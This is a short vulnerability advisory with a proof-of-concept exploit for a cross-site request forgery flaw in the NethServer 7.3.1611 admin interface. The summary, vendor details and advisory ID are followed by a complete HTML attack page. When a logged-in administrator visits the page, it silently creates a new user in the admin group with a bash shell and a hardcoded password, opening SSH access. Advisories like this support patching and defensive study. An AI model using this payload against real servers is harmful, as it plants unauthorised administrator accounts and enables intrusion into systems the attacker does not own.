NethServer 7.3.1611 CSRF Create User / Enable SSH Access
Posted on 29 August 2017
<!-- NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access Vendor: NethServer.org Product web page: https://www.nethserver.org Affected version: 7.3.1611-u1-x86_64 Summary: NethServer is an operating system for the Linux enthusiast, designed for small offices and medium enterprises. It's simple, secure and flexible. Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Tested on: Kernel 3.10.0.-514.el7.x86_64 on an x86_64 CentOS Linux 7.3.1611 (Core) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5433 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5433.php 16.08.2017 --> HTML Decoded PoC: <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://172.19.0.195:980/en-US/Account/User/create.json" method="POST"> <input type="hidden" name="Account[User][create][username]" value="Blabla" /> <input type="hidden" name="Account[User][create][gecos]" value="Test1" /> <input type="hidden" name="Account[User][create][groups]" value="" /> <input type="hidden" name="Account[User][create][groups][1]" value="admin@zsl.lsz" /> <input type="hidden" name="Account[User][create][expires]" value="no" /> <input type="hidden" name="Account[User][create][shell]" value="/usr/libexec/openssh/sftp-server" /> <input type="hidden" name="Account[User][create][shell]" value="/bin/bash" /> <input type="hidden" name="Account[User][create][setPassword]" value="disabled" /> <input type="hidden" name="Account[User][create][setPassword]" value="enabled" /> <input type="hidden" name="Account[User][create][newPassword]" value="gi3fme$heLL!" /> <input type="hidden" name="Account[User][create][confirmNewPassword]" value="gi3fme$heLL!" /> <input type="hidden" name="Account[User][create][Submit]" value="Submit" /> <input type="submit" value="Submit request" /> </form> </body> </html>
